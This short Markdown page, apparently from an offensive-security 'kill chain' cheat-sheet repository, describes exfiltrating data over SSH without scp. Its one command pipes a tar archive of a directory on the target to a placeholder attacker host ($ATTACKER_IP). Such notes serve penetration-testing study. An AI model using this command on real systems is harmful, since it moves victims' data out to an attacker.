killchain-compendium/Exfiltration/SSH.md

12 lines
229 B
Markdown
Raw Normal View History

2022-08-27 23:21:28 +02:00
# SSH Exfiltration
* Given: without `scp`
## Compress
* Archive the data on target, send it to the attacker. Unpack including preserved permissions
```sh
tar cf - <directory> | ssh user@$ATTACKER_IP "cd /tmp/; tar xpf -"
```